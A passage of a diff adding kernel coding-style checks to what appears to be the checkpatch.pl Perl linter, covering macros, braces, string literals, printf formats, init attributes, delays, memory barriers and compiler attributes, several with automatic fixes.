+					CHK("MACRO_ARG_PRECEDENCE",
+					    "Macro argument '$arg' may be better as '($arg)' to avoid precedence issues\n" . "$herectx");
+				}
+			}
+
+# check for macros with flow control, but without ## concatenation
+# ## concatenation is commonly a macro that defines a function so ignore those
+			if ($has_flow_statement && !$has_arg_concat) {
+				my $cnt = statement_rawlines($ctx);
+				my $herectx = get_stat_here($linenr, $cnt, $here);
+
+				WARN("MACRO_WITH_FLOW_CONTROL",
+				     "Macros with flow control statements should be avoided\n" . "$herectx");
+			}
+
+# check for line continuations outside of #defines, preprocessor #, and asm
+
+		} else {
+			if ($prevline !~ /^..*\\$/ &&
+			    $line !~ /^\+\s*\#.*\\$/ &&		# preprocessor
+			    $line !~ /^\+.*\b(__asm__|asm)\b.*\\$/ &&	# asm
+			    $line =~ /^\+.*\\$/) {
+				WARN("LINE_CONTINUATIONS",
+				     "Avoid unnecessary line continuations\n" . $herecurr);
+			}
+		}
+
+# do {} while (0) macro tests:
+# single-statement macros do not need to be enclosed in do while (0) loop,
+# macro should not end with a semicolon
+		if ($perl_version_ok &&
+		    $realfile !~ m@/vmlinux.lds.h$@ &&
+		    $line =~ /^.\s*\#\s*define\s+$Ident(\()?/) {
+			my $ln = $linenr;
+			my $cnt = $realcnt;
+			my ($off, $dstat, $dcond, $rest);
+			my $ctx = '';
+			($dstat, $dcond, $ln, $cnt, $off) =
+				ctx_statement_block($linenr, $realcnt, 0);
+			$ctx = $dstat;
+
+			$dstat =~ s/\\\n.//g;
+			$dstat =~ s/$;/ /g;
+
+			if ($dstat =~ /^\+\s*#\s*define\s+$Ident\s*${balanced_parens}\s*do\s*{(.*)\s*}\s*while\s*\(\s*0\s*\)\s*([;\s]*)\s*$/) {
+				my $stmts = $2;
+				my $semis = $3;
+
+				$ctx =~ s/\n*$//;
+				my $cnt = statement_rawlines($ctx);
+				my $herectx = get_stat_here($linenr, $cnt, $here);
+
+				if (($stmts =~ tr/;/;/) == 1 &&
+				    $stmts !~ /^\s*(if|while|for|switch)\b/) {
+					WARN("SINGLE_STATEMENT_DO_WHILE_MACRO",
+					     "Single statement macros should not use a do {} while (0) loop\n" . "$herectx");
+				}
+				if (defined $semis && $semis ne "") {
+					WARN("DO_WHILE_MACRO_WITH_TRAILING_SEMICOLON",
+					     "do {} while (0) macros should not be semicolon terminated\n" . "$herectx");
+				}
+			} elsif ($dstat =~ /^\+\s*#\s*define\s+$Ident.*;\s*$/) {
+				$ctx =~ s/\n*$//;
+				my $cnt = statement_rawlines($ctx);
+				my $herectx = get_stat_here($linenr, $cnt, $here);
+
+				WARN("TRAILING_SEMICOLON",
+				     "macros should not use a trailing semicolon\n" . "$herectx");
+			}
+		}
+
+# check for redundant bracing round if etc
+		if ($line =~ /(^.*)\bif\b/ && $1 !~ /else\s*$/) {
+			my ($level, $endln, @chunks) =
+				ctx_statement_full($linenr, $realcnt, 1);
+			#print "chunks<$#chunks> linenr<$linenr> endln<$endln> level<$level>\n";
+			#print "APW: <<$chunks[1][0]>><<$chunks[1][1]>>\n";
+			if ($#chunks > 0 && $level == 0) {
+				my @allowed = ();
+				my $allow = 0;
+				my $seen = 0;
+				my $herectx = $here . "\n";
+				my $ln = $linenr - 1;
+				for my $chunk (@chunks) {
+					my ($cond, $block) = @{$chunk};
+
+					# If the condition carries leading newlines, then count those as offsets.
+					my ($whitespace) = ($cond =~ /^((?:\s*\n[+-])*\s*)/s);
+					my $offset = statement_rawlines($whitespace) - 1;
+
+					$allowed[$allow] = 0;
+					#print "COND<$cond> whitespace<$whitespace> offset<$offset>\n";
+
+					# We have looked at and allowed this specific line.
+					$suppress_ifbraces{$ln + $offset} = 1;
+
+					$herectx .= "$rawlines[$ln + $offset]\n[...]\n";
+					$ln += statement_rawlines($block) - 1;
+
+					substr($block, 0, length($cond), '');
+
+					$seen++ if ($block =~ /^\s*{/);
+
+					#print "cond<$cond> block<$block> allowed<$allowed[$allow]>\n";
+					if (statement_lines($cond) > 1) {
+						#print "APW: ALLOWED: cond<$cond>\n";
+						$allowed[$allow] = 1;
+					}
+					if ($block =~/\b(?:if|for|while)\b/) {
+						#print "APW: ALLOWED: block<$block>\n";
+						$allowed[$allow] = 1;
+					}
+					if (statement_block_size($block) > 1) {
+						#print "APW: ALLOWED: lines block<$block>\n";
+						$allowed[$allow] = 1;
+					}
+					$allow++;
+				}
+				if ($seen) {
+					my $sum_allowed = 0;
+					foreach (@allowed) {
+						$sum_allowed += $_;
+					}
+					if ($sum_allowed == 0) {
+						WARN("BRACES",
+						     "braces {} are not necessary for any arm of this statement\n" . $herectx);
+					} elsif ($sum_allowed != $allow &&
+						 $seen != $allow) {
+						CHK("BRACES",
+						    "braces {} should be used on all arms of this statement\n" . $herectx);
+					}
+				}
+			}
+		}
+		if (!defined $suppress_ifbraces{$linenr - 1} &&
+					$line =~ /\b(if|while|for|else)\b/) {
+			my $allowed = 0;
+
+			# Check the pre-context.
+			if (substr($line, 0, $-[0]) =~ /(\}\s*)$/) {
+				#print "APW: ALLOWED: pre<$1>\n";
+				$allowed = 1;
+			}
+
+			my ($level, $endln, @chunks) =
+				ctx_statement_full($linenr, $realcnt, $-[0]);
+
+			# Check the condition.
+			my ($cond, $block) = @{$chunks[0]};
+			#print "CHECKING<$linenr> cond<$cond> block<$block>\n";
+			if (defined $cond) {
+				substr($block, 0, length($cond), '');
+			}
+			if (statement_lines($cond) > 1) {
+				#print "APW: ALLOWED: cond<$cond>\n";
+				$allowed = 1;
+			}
+			if ($block =~/\b(?:if|for|while)\b/) {
+				#print "APW: ALLOWED: block<$block>\n";
+				$allowed = 1;
+			}
+			if (statement_block_size($block) > 1) {
+				#print "APW: ALLOWED: lines block<$block>\n";
+				$allowed = 1;
+			}
+			# Check the post-context.
+			if (defined $chunks[1]) {
+				my ($cond, $block) = @{$chunks[1]};
+				if (defined $cond) {
+					substr($block, 0, length($cond), '');
+				}
+				if ($block =~ /^\s*\{/) {
+					#print "APW: ALLOWED: chunk-1 block<$block>\n";
+					$allowed = 1;
+				}
+			}
+			if ($level == 0 && $block =~ /^\s*\{/ && !$allowed) {
+				my $cnt = statement_rawlines($block);
+				my $herectx = get_stat_here($linenr, $cnt, $here);
+
+				WARN("BRACES",
+				     "braces {} are not necessary for single statement blocks\n" . $herectx);
+			}
+		}
+
+# check for single line unbalanced braces
+		if ($sline =~ /^.\s*\}\s*else\s*$/ ||
+		    $sline =~ /^.\s*else\s*\{\s*$/) {
+			CHK("BRACES", "Unbalanced braces around else statement\n" . $herecurr);
+		}
+
+# check for unnecessary blank lines around braces
+		if (($line =~ /^.\s*}\s*$/ && $prevrawline =~ /^.\s*$/)) {
+			if (CHK("BRACES",
+				"Blank lines aren't necessary before a close brace '}'\n" . $hereprev) &&
+			    $fix && $prevrawline =~ /^\+/) {
+				fix_delete_line($fixlinenr - 1, $prevrawline);
+			}
+		}
+		if (($rawline =~ /^.\s*$/ && $prevline =~ /^..*{\s*$/)) {
+			if (CHK("BRACES",
+				"Blank lines aren't necessary after an open brace '{'\n" . $hereprev) &&
+			    $fix) {
+				fix_delete_line($fixlinenr, $rawline);
+			}
+		}
+
+# no volatiles please
+		my $asm_volatile = qr{\b(__asm__|asm)\s+(__volatile__|volatile)\b};
+		if ($line =~ /\bvolatile\b/ && $line !~ /$asm_volatile/) {
+			WARN("VOLATILE",
+			     "Use of volatile is usually wrong: see Documentation/process/volatile-considered-harmful.rst\n" . $herecurr);
+		}
+
+# Check for user-visible strings broken across lines, which breaks the ability
+# to grep for the string.  Make exceptions when the previous string ends in a
+# newline (multiple lines in one string constant) or '\t', '\r', ';', or '{'
+# (common in inline assembly) or is a octal \123 or hexadecimal \xaf value
+		if ($line =~ /^\+\s*$String/ &&
+		    $prevline =~ /"\s*$/ &&
+		    $prevrawline !~ /(?:\\(?:[ntr]|[0-7]{1,3}|x[0-9a-fA-F]{1,2})|;\s*|\{\s*)"\s*$/) {
+			if (WARN("SPLIT_STRING",
+				 "quoted string split across lines\n" . $hereprev) &&
+				     $fix &&
+				     $prevrawline =~ /^\+.*"\s*$/ &&
+				     $last_coalesced_string_linenr != $linenr - 1) {
+				my $extracted_string = get_quoted_string($line, $rawline);
+				my $comma_close = "";
+				if ($rawline =~ /\Q$extracted_string\E(\s*\)\s*;\s*$|\s*,\s*)/) {
+					$comma_close = $1;
+				}
+
+				fix_delete_line($fixlinenr - 1, $prevrawline);
+				fix_delete_line($fixlinenr, $rawline);
+				my $fixedline = $prevrawline;
+				$fixedline =~ s/"\s*$//;
+				$fixedline .= substr($extracted_string, 1) . trim($comma_close);
+				fix_insert_line($fixlinenr - 1, $fixedline);
+				$fixedline = $rawline;
+				$fixedline =~ s/\Q$extracted_string\E\Q$comma_close\E//;
+				if ($fixedline !~ /\+\s*$/) {
+					fix_insert_line($fixlinenr, $fixedline);
+				}
+				$last_coalesced_string_linenr = $linenr;
+			}
+		}
+
+# check for missing a space in a string concatenation
+		if ($prevrawline =~ /[^\\]\w"$/ && $rawline =~ /^\+[\t ]+"\w/) {
+			WARN('MISSING_SPACE',
+			     "break quoted strings at a space character\n" . $hereprev);
+		}
+
+# check for an embedded function name in a string when the function is known
+# This does not work very well for -f --file checking as it depends on patch
+# context providing the function name or a single line form for in-file
+# function declarations
+		if ($line =~ /^\+.*$String/ &&
+		    defined($context_function) &&
+		    get_quoted_string($line, $rawline) =~ /\b$context_function\b/ &&
+		    length(get_quoted_string($line, $rawline)) != (length($context_function) + 2)) {
+			WARN("EMBEDDED_FUNCTION_NAME",
+			     "Prefer using '\"%s...\", __func__' to using '$context_function', this function's name, in a string\n" . $herecurr);
+		}
+
+# check for unnecessary function tracing like uses
+# This does not use $logFunctions because there are many instances like
+# 'dprintk(FOO, "%s()\n", __func__);' which do not match $logFunctions
+		if ($rawline =~ /^\+.*\([^"]*"$tracing_logging_tags{0,3}%s(?:\s*\(\s*\)\s*)?$tracing_logging_tags{0,3}(?:\\n)?"\s*,\s*__func__\s*\)\s*;/) {
+			if (WARN("TRACING_LOGGING",
+				 "Unnecessary ftrace-like logging - prefer using ftrace\n" . $herecurr) &&
+			    $fix) {
+                                fix_delete_line($fixlinenr, $rawline);
+			}
+		}
+
+# check for spaces before a quoted newline
+		if ($rawline =~ /^.*\".*\s\\n/) {
+			if (WARN("QUOTED_WHITESPACE_BEFORE_NEWLINE",
+				 "unnecessary whitespace before a quoted newline\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/^(\+.*\".*)\s+\\n/$1\\n/;
+			}
+
+		}
+
+# concatenated string without spaces between elements
+		if ($line =~ /$String[A-Z_]/ ||
+		    ($line =~ /([A-Za-z0-9_]+)$String/ && $1 !~ /^[Lu]$/)) {
+			if (CHK("CONCATENATED_STRING",
+				"Concatenated strings should use spaces between elements\n" . $herecurr) &&
+			    $fix) {
+				while ($line =~ /($String)/g) {
+					my $extracted_string = substr($rawline, $-[0], $+[0] - $-[0]);
+					$fixed[$fixlinenr] =~ s/\Q$extracted_string\E([A-Za-z0-9_])/$extracted_string $1/;
+					$fixed[$fixlinenr] =~ s/([A-Za-z0-9_])\Q$extracted_string\E/$1 $extracted_string/;
+				}
+			}
+		}
+
+# uncoalesced string fragments
+		if ($line =~ /$String\s*[Lu]?"/) {
+			if (WARN("STRING_FRAGMENTS",
+				 "Consecutive strings are generally better as a single string\n" . $herecurr) &&
+			    $fix) {
+				while ($line =~ /($String)(?=\s*")/g) {
+					my $extracted_string = substr($rawline, $-[0], $+[0] - $-[0]);
+					$fixed[$fixlinenr] =~ s/\Q$extracted_string\E\s*"/substr($extracted_string, 0, -1)/e;
+				}
+			}
+		}
+
+# check for non-standard and hex prefixed decimal printf formats
+		my $show_L = 1;	#don't show the same defect twice
+		my $show_Z = 1;
+		while ($line =~ /(?:^|")([X\t]*)(?:"|$)/g) {
+			my $string = substr($rawline, $-[1], $+[1] - $-[1]);
+			$string =~ s/%%/__/g;
+			# check for %L
+			if ($show_L && $string =~ /%[\*\d\.\$]*L([diouxX])/) {
+				WARN("PRINTF_L",
+				     "\%L$1 is non-standard C, use %ll$1\n" . $herecurr);
+				$show_L = 0;
+			}
+			# check for %Z
+			if ($show_Z && $string =~ /%[\*\d\.\$]*Z([diouxX])/) {
+				WARN("PRINTF_Z",
+				     "%Z$1 is non-standard C, use %z$1\n" . $herecurr);
+				$show_Z = 0;
+			}
+			# check for 0x<decimal>
+			if ($string =~ /0x%[\*\d\.\$\Llzth]*[diou]/) {
+				ERROR("PRINTF_0XDECIMAL",
+				      "Prefixing 0x with decimal output is defective\n" . $herecurr);
+			}
+		}
+
+# check for line continuations in quoted strings with odd counts of "
+		if ($rawline =~ /\\$/ && $sline =~ tr/"/"/ % 2) {
+			WARN("LINE_CONTINUATIONS",
+			     "Avoid line continuations in quoted strings\n" . $herecurr);
+		}
+
+# warn about #if 0
+		if ($line =~ /^.\s*\#\s*if\s+0\b/) {
+			WARN("IF_0",
+			     "Consider removing the code enclosed by this #if 0 and its #endif\n" . $herecurr);
+		}
+
+# warn about #if 1
+		if ($line =~ /^.\s*\#\s*if\s+1\b/) {
+			WARN("IF_1",
+			     "Consider removing the #if 1 and its #endif\n" . $herecurr);
+		}
+
+# check for needless "if (<foo>) fn(<foo>)" uses
+		if ($prevline =~ /\bif\s*\(\s*($Lval)\s*\)/) {
+			my $tested = quotemeta($1);
+			my $expr = '\s*\(\s*' . $tested . '\s*\)\s*;';
+			if ($line =~ /\b(kfree|usb_free_urb|debugfs_remove(?:_recursive)?|(?:kmem_cache|mempool|dma_pool)_destroy)$expr/) {
+				my $func = $1;
+				if (WARN('NEEDLESS_IF',
+					 "$func(NULL) is safe and this check is probably not required\n" . $hereprev) &&
+				    $fix) {
+					my $do_fix = 1;
+					my $leading_tabs = "";
+					my $new_leading_tabs = "";
+					if ($lines[$linenr - 2] =~ /^\+(\t*)if\s*\(\s*$tested\s*\)\s*$/) {
+						$leading_tabs = $1;
+					} else {
+						$do_fix = 0;
+					}
+					if ($lines[$linenr - 1] =~ /^\+(\t+)$func\s*\(\s*$tested\s*\)\s*;\s*$/) {
+						$new_leading_tabs = $1;
+						if (length($leading_tabs) + 1 ne length($new_leading_tabs)) {
+							$do_fix = 0;
+						}
+					} else {
+						$do_fix = 0;
+					}
+					if ($do_fix) {
+						fix_delete_line($fixlinenr - 1, $prevrawline);
+						$fixed[$fixlinenr] =~ s/^\+$new_leading_tabs/\+$leading_tabs/;
+					}
+				}
+			}
+		}
+
+# check for unnecessary "Out of Memory" messages
+		if ($line =~ /^\+.*\b$logFunctions\s*\(/ &&
+		    $prevline =~ /^[ \+]\s*if\s*\(\s*(\!\s*|NULL\s*==\s*)?($Lval)(\s*==\s*NULL\s*)?\s*\)/ &&
+		    (defined $1 || defined $3) &&
+		    $linenr > 3) {
+			my $testval = $2;
+			my $testline = $lines[$linenr - 3];
+
+			my ($s, $c) = ctx_statement_block($linenr - 3, $realcnt, 0);
+#			print("line: <$line>\nprevline: <$prevline>\ns: <$s>\nc: <$c>\n\n\n");
+
+			if ($s =~ /(?:^|\n)[ \+]\s*(?:$Type\s*)?\Q$testval\E\s*=\s*(?:\([^\)]*\)\s*)?\s*$allocFunctions\s*\(/ &&
+			    $s !~ /\b__GFP_NOWARN\b/ ) {
+				WARN("OOM_MESSAGE",
+				     "Possible unnecessary 'out of memory' message\n" . $hereprev);
+			}
+		}
+
+# check for logging functions with KERN_<LEVEL>
+		if ($line !~ /printk(?:_ratelimited|_once)?\s*\(/ &&
+		    $line =~ /\b$logFunctions\s*\(.*\b(KERN_[A-Z]+)\b/) {
+			my $level = $1;
+			if (WARN("UNNECESSARY_KERN_LEVEL",
+				 "Possible unnecessary $level\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\s*$level\s*//;
+			}
+		}
+
+# check for logging continuations
+		if ($line =~ /\bprintk\s*\(\s*KERN_CONT\b|\bpr_cont\s*\(/) {
+			WARN("LOGGING_CONTINUATION",
+			     "Avoid logging continuation uses where feasible\n" . $herecurr);
+		}
+
+# check for unnecessary use of %h[xudi] and %hh[xudi] in logging functions
+		if (defined $stat &&
+		    $line =~ /\b$logFunctions\s*\(/ &&
+		    index($stat, '"') >= 0) {
+			my $lc = $stat =~ tr@\n@@;
+			$lc = $lc + $linenr;
+			my $stat_real = get_stat_real($linenr, $lc);
+			pos($stat_real) = index($stat_real, '"');
+			while ($stat_real =~ /[^\"%]*(%[\#\d\.\*\-]*(h+)[idux])/g) {
+				my $pspec = $1;
+				my $h = $2;
+				my $lineoff = substr($stat_real, 0, $-[1]) =~ tr@\n@@;
+				if (WARN("UNNECESSARY_MODIFIER",
+					 "Integer promotion: Using '$h' in '$pspec' is unnecessary\n" . "$here\n$stat_real\n") &&
+				    $fix && $fixed[$fixlinenr + $lineoff] =~ /^\+/) {
+					my $nspec = $pspec;
+					$nspec =~ s/h//g;
+					$fixed[$fixlinenr + $lineoff] =~ s/\Q$pspec\E/$nspec/;
+				}
+			}
+		}
+
+# check for mask then right shift without a parentheses
+		if ($perl_version_ok &&
+		    $line =~ /$LvalOrFunc\s*\&\s*($LvalOrFunc)\s*>>/ &&
+		    $4 !~ /^\&/) { # $LvalOrFunc may be &foo, ignore if so
+			WARN("MASK_THEN_SHIFT",
+			     "Possible precedence defect with mask then right shift - may need parentheses\n" . $herecurr);
+		}
+
+# check for pointer comparisons to NULL
+		if ($perl_version_ok) {
+			while ($line =~ /\b$LvalOrFunc\s*(==|\!=)\s*NULL\b/g) {
+				my $val = $1;
+				my $equal = "!";
+				$equal = "" if ($4 eq "!=");
+				if (CHK("COMPARISON_TO_NULL",
+					"Comparison to NULL could be written \"${equal}${val}\"\n" . $herecurr) &&
+					    $fix) {
+					$fixed[$fixlinenr] =~ s/\b\Q$val\E\s*(?:==|\!=)\s*NULL\b/$equal$val/;
+				}
+			}
+		}
+
+# check for bad placement of section $InitAttribute (e.g.: __initdata)
+		if ($line =~ /(\b$InitAttribute\b)/) {
+			my $attr = $1;
+			if ($line =~ /^\+\s*static\s+(?:const\s+)?(?:$attr\s+)?($NonptrTypeWithAttr)\s+(?:$attr\s+)?($Ident(?:\[[^]]*\])?)\s*[=;]/) {
+				my $ptr = $1;
+				my $var = $2;
+				if ((($ptr =~ /\b(union|struct)\s+$attr\b/ &&
+				      ERROR("MISPLACED_INIT",
+					    "$attr should be placed after $var\n" . $herecurr)) ||
+				     ($ptr !~ /\b(union|struct)\s+$attr\b/ &&
+				      WARN("MISPLACED_INIT",
+					   "$attr should be placed after $var\n" . $herecurr))) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s/(\bstatic\s+(?:const\s+)?)(?:$attr\s+)?($NonptrTypeWithAttr)\s+(?:$attr\s+)?($Ident(?:\[[^]]*\])?)\s*([=;])\s*/"$1" . trim(string_find_replace($2, "\\s*$attr\\s*", " ")) . " " . trim(string_find_replace($3, "\\s*$attr\\s*", "")) . " $attr" . ("$4" eq ";" ? ";" : " = ")/e;
+				}
+			}
+		}
+
+# check for $InitAttributeData (ie: __initdata) with const
+		if ($line =~ /\bconst\b/ && $line =~ /($InitAttributeData)/) {
+			my $attr = $1;
+			$attr =~ /($InitAttributePrefix)(.*)/;
+			my $attr_prefix = $1;
+			my $attr_type = $2;
+			if (ERROR("INIT_ATTRIBUTE",
+				  "Use of const init definition must use ${attr_prefix}initconst\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/$InitAttributeData/${attr_prefix}initconst/;
+			}
+		}
+
+# check for $InitAttributeConst (ie: __initconst) without const
+		if ($line !~ /\bconst\b/ && $line =~ /($InitAttributeConst)/) {
+			my $attr = $1;
+			if (ERROR("INIT_ATTRIBUTE",
+				  "Use of $attr requires a separate use of const\n" . $herecurr) &&
+			    $fix) {
+				my $lead = $fixed[$fixlinenr] =~
+				    /(^\+\s*(?:static\s+))/;
+				$lead = rtrim($1);
+				$lead = "$lead " if ($lead !~ /^\+$/);
+				$lead = "${lead}const ";
+				$fixed[$fixlinenr] =~ s/(^\+\s*(?:static\s+))/$lead/;
+			}
+		}
+
+# check for __read_mostly with const non-pointer (should just be const)
+		if ($line =~ /\b__read_mostly\b/ &&
+		    $line =~ /($Type)\s*$Ident/ && $1 !~ /\*\s*$/ && $1 =~ /\bconst\b/) {
+			if (ERROR("CONST_READ_MOSTLY",
+				  "Invalid use of __read_mostly with const type\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\s+__read_mostly\b//;
+			}
+		}
+
+# don't use __constant_<foo> functions outside of include/uapi/
+		if ($realfile !~ m@^include/uapi/@ &&
+		    $line =~ /(__constant_(?:htons|ntohs|[bl]e(?:16|32|64)_to_cpu|cpu_to_[bl]e(?:16|32|64)))\s*\(/) {
+			my $constant_func = $1;
+			my $func = $constant_func;
+			$func =~ s/^__constant_//;
+			if (WARN("CONSTANT_CONVERSION",
+				 "$constant_func should be $func\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\b$constant_func\b/$func/g;
+			}
+		}
+
+# prefer usleep_range over udelay
+		if ($line =~ /\budelay\s*\(\s*(\d+)\s*\)/) {
+			my $delay = $1;
+			# ignore udelay's < 10, however
+			if (! ($delay < 10) ) {
+				CHK("USLEEP_RANGE",
+				    "usleep_range is preferred over udelay; see Documentation/timers/timers-howto.rst\n" . $herecurr);
+			}
+			if ($delay > 2000) {
+				WARN("LONG_UDELAY",
+				     "long udelay - prefer mdelay; see arch/arm/include/asm/delay.h\n" . $herecurr);
+			}
+		}
+
+# warn about unexpectedly long msleep's
+		if ($line =~ /\bmsleep\s*\((\d+)\);/) {
+			if ($1 < 20) {
+				WARN("MSLEEP",
+				     "msleep < 20ms can sleep for up to 20ms; see Documentation/timers/timers-howto.rst\n" . $herecurr);
+			}
+		}
+
+# check for comparisons of jiffies
+		if ($line =~ /\bjiffies\s*$Compare|$Compare\s*jiffies\b/) {
+			WARN("JIFFIES_COMPARISON",
+			     "Comparing jiffies is almost always wrong; prefer time_after, time_before and friends\n" . $herecurr);
+		}
+
+# check for comparisons of get_jiffies_64()
+		if ($line =~ /\bget_jiffies_64\s*\(\s*\)\s*$Compare|$Compare\s*get_jiffies_64\s*\(\s*\)/) {
+			WARN("JIFFIES_COMPARISON",
+			     "Comparing get_jiffies_64() is almost always wrong; prefer time_after64, time_before64 and friends\n" . $herecurr);
+		}
+
+# warn about #ifdefs in C files
+#		if ($line =~ /^.\s*\#\s*if(|n)def/ && ($realfile =~ /\.c$/)) {
+#			print "#ifdef in C files should be avoided\n";
+#			print "$herecurr";
+#			$clean = 0;
+#		}
+
+# warn about spacing in #ifdefs
+		if ($line =~ /^.\s*\#\s*(ifdef|ifndef|elif)\s\s+/) {
+			if (ERROR("SPACING",
+				  "exactly one space required after that #$1\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/^(.\s*\#\s*(ifdef|ifndef|elif))\s{2,}/$1 /;
+			}
+
+		}
+
+# check for spinlock_t definitions without a comment.
+		if ($line =~ /^.\s*(struct\s+mutex|spinlock_t)\s+\S+;/ ||
+		    $line =~ /^.\s*(DEFINE_MUTEX)\s*\(/) {
+			my $which = $1;
+			if (!ctx_has_comment($first_line, $linenr)) {
+				CHK("UNCOMMENTED_DEFINITION",
+				    "$1 definition without comment\n" . $herecurr);
+			}
+		}
+# check for memory barriers without a comment.
+
+		my $barriers = qr{
+			mb|
+			rmb|
+			wmb
+		}x;
+		my $barrier_stems = qr{
+			mb__before_atomic|
+			mb__after_atomic|
+			store_release|
+			load_acquire|
+			store_mb|
+			(?:$barriers)
+		}x;
+		my $all_barriers = qr{
+			(?:$barriers)|
+			smp_(?:$barrier_stems)|
+			virt_(?:$barrier_stems)
+		}x;
+
+		if ($line =~ /\b(?:$all_barriers)\s*\(/) {
+			if (!ctx_has_comment($first_line, $linenr)) {
+				WARN("MEMORY_BARRIER",
+				     "memory barrier without comment\n" . $herecurr);
+			}
+		}
+
+		my $underscore_smp_barriers = qr{__smp_(?:$barrier_stems)}x;
+
+		if ($realfile !~ m@^include/asm-generic/@ &&
+		    $realfile !~ m@/barrier\.h$@ &&
+		    $line =~ m/\b(?:$underscore_smp_barriers)\s*\(/ &&
+		    $line !~ m/^.\s*\#\s*define\s+(?:$underscore_smp_barriers)\s*\(/) {
+			WARN("MEMORY_BARRIER",
+			     "__smp memory barriers shouldn't be used outside barrier.h and asm-generic\n" . $herecurr);
+		}
+
+# check for waitqueue_active without a comment.
+		if ($line =~ /\bwaitqueue_active\s*\(/) {
+			if (!ctx_has_comment($first_line, $linenr)) {
+				WARN("WAITQUEUE_ACTIVE",
+				     "waitqueue_active without comment\n" . $herecurr);
+			}
+		}
+
+# check for data_race without a comment.
+		if ($line =~ /\bdata_race\s*\(/) {
+			if (!ctx_has_comment($first_line, $linenr)) {
+				WARN("DATA_RACE",
+				     "data_race without comment\n" . $herecurr);
+			}
+		}
+
+# check of hardware specific defines
+		if ($line =~ m@^.\s*\#\s*if.*\b(__i386__|__powerpc64__|__sun__|__s390x__)\b@ && $realfile !~ m@include/asm-@) {
+			CHK("ARCH_DEFINES",
+			    "architecture specific defines should be avoided\n" .  $herecurr);
+		}
+
+# check that the storage class is not after a type
+		if ($line =~ /\b($Type)\s+($Storage)\b/) {
+			WARN("STORAGE_CLASS",
+			     "storage class '$2' should be located before type '$1'\n" . $herecurr);
+		}
+# Check that the storage class is at the beginning of a declaration
+		if ($line =~ /\b$Storage\b/ &&
+		    $line !~ /^.\s*$Storage/ &&
+		    $line =~ /^.\s*(.+?)\$Storage\s/ &&
+		    $1 !~ /[\,\)]\s*$/) {
+			WARN("STORAGE_CLASS",
+			     "storage class should be at the beginning of the declaration\n" . $herecurr);
+		}
+
+# check the location of the inline attribute, that it is between
+# storage class and type.
+		if ($line =~ /\b$Type\s+$Inline\b/ ||
+		    $line =~ /\b$Inline\s+$Storage\b/) {
+			ERROR("INLINE_LOCATION",
+			      "inline keyword should sit between storage class and type\n" . $herecurr);
+		}
+
+# Check for __inline__ and __inline, prefer inline
+		if ($realfile !~ m@\binclude/uapi/@ &&
+		    $line =~ /\b(__inline__|__inline)\b/) {
+			if (WARN("INLINE",
+				 "plain inline is preferred over $1\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\b(__inline__|__inline)\b/inline/;
+
+			}
+		}
+
+# Check for compiler attributes
+		if ($realfile !~ m@\binclude/uapi/@ &&
+		    $rawline =~ /\b__attribute__\s*\(\s*($balanced_parens)\s*\)/) {
+			my $attr = $1;
+			$attr =~ s/\s*\(\s*(.*)\)\s*/$1/;
+
+			my %attr_list = (
+				"alias"				=> "__alias",
+				"aligned"			=> "__aligned",
+				"always_inline"			=> "__always_inline",
+				"assume_aligned"		=> "__assume_aligned",
+				"cold"				=> "__cold",
+				"const"				=> "__attribute_const__",
+				"copy"				=> "__copy",
+				"designated_init"		=> "__designated_init",
+				"externally_visible"		=> "__visible",
+				"format"			=> "printf|scanf",
+				"gnu_inline"			=> "__gnu_inline",
+				"malloc"			=> "__malloc",
+				"mode"				=> "__mode",
+				"no_caller_saved_registers"	=> "__no_caller_saved_registers",
+				"noclone"			=> "__noclone",
+				"noinline"			=> "noinline",
+				"nonstring"			=> "__nonstring",
+				"noreturn"			=> "__noreturn",
+				"packed"			=> "__packed",
+				"pure"				=> "__pure",
+				"section"			=> "__section",
+				"used"				=> "__used",
+				"weak"				=> "__weak"
+			);
+
+			while ($attr =~ /\s*(\w+)\s*(${balanced_parens})?/g) {
+				my $orig_attr = $1;
+				my $params = '';
+				$params = $2 if defined($2);
+				my $curr_attr = $orig_attr;
+				$curr_attr =~ s/^[\s_]+|[\s_]+$//g;
+				if (exists($attr_list{$curr_attr})) {
+					my $new = $attr_list{$curr_attr};
+					if ($curr_attr eq "format" && $params) {
+						$params =~ /^\s*\(\s*(\w+)\s*,\s*(.*)/;
+						$new = "__$1\($2";
+					} else {
+						$new = "$new$params";
+					}
+					if (WARN("PREFER_DEFINED_ATTRIBUTE_MACRO",
+						 "Prefer $new over __attribute__(($orig_attr$params))\n" . $herecurr) &&
+					    $fix) {
+						my $remove = "\Q$orig_attr\E" . '\s*' . "\Q$params\E" . '(?:\s*,\s*)?';
+						$fixed[$fixlinenr] =~ s/$remove//;
+						$fixed[$fixlinenr] =~ s/\b__attribute__/$new __attribute__/;
+						$fixed[$fixlinenr] =~ s/\}\Q$new\E/} $new/;
+						$fixed[$fixlinenr] =~ s/ __attribute__\s*\(\s*\(\s*\)\s*\)//;
+					}
+				}
+			}
+
+			# Check for __attribute__ unused, prefer __always_unused or __maybe_unused
+			if ($attr =~ /^_*unused/) {
+				WARN("PREFER_DEFINED_ATTRIBUTE_MACRO",
+				     "__always_unused or __maybe_unused is preferred over __attribute__((__unused__))\n" . $herecurr);
+			}
+		}
+
+# Check for __attribute__ weak, or __weak declarations (may have link issues)
+		if ($perl_version_ok &&
+		    $line =~ /(?:$Declare|$DeclareMisordered)\s*$Ident\s*$balanced_parens\s*(?:$Attribute)?\s*;/ &&
+		    ($line =~ /\b__attribute__\s*\(\s*\(.*\bweak\b/ ||
+		     $line =~ /\b__weak\b/)) {
+			ERROR("WEAK_DECLARATION",
+			      "Using weak declarations can have unintended link defects\n" . $herecurr);
+		}
+
+# check for c99 types like uint8_t used outside of uapi/ and tools/
+		if ($realfile !~ m@\binclude/uapi/@ &&
+		    $realfile !~ m@\btools/@ &&
+		    $line =~ /\b($Declare)\s*$Ident\s*[=;,\[]/) {
+			my $type = $1;
+			if ($type =~ /\b($typeC99Typedefs)\b/) {
+				$type = $1;
+				my $kernel_type = 'u';
+				$kernel_type = 's' if ($type =~ /^_*[si]/);
+				$type =~ /(\d+)/;
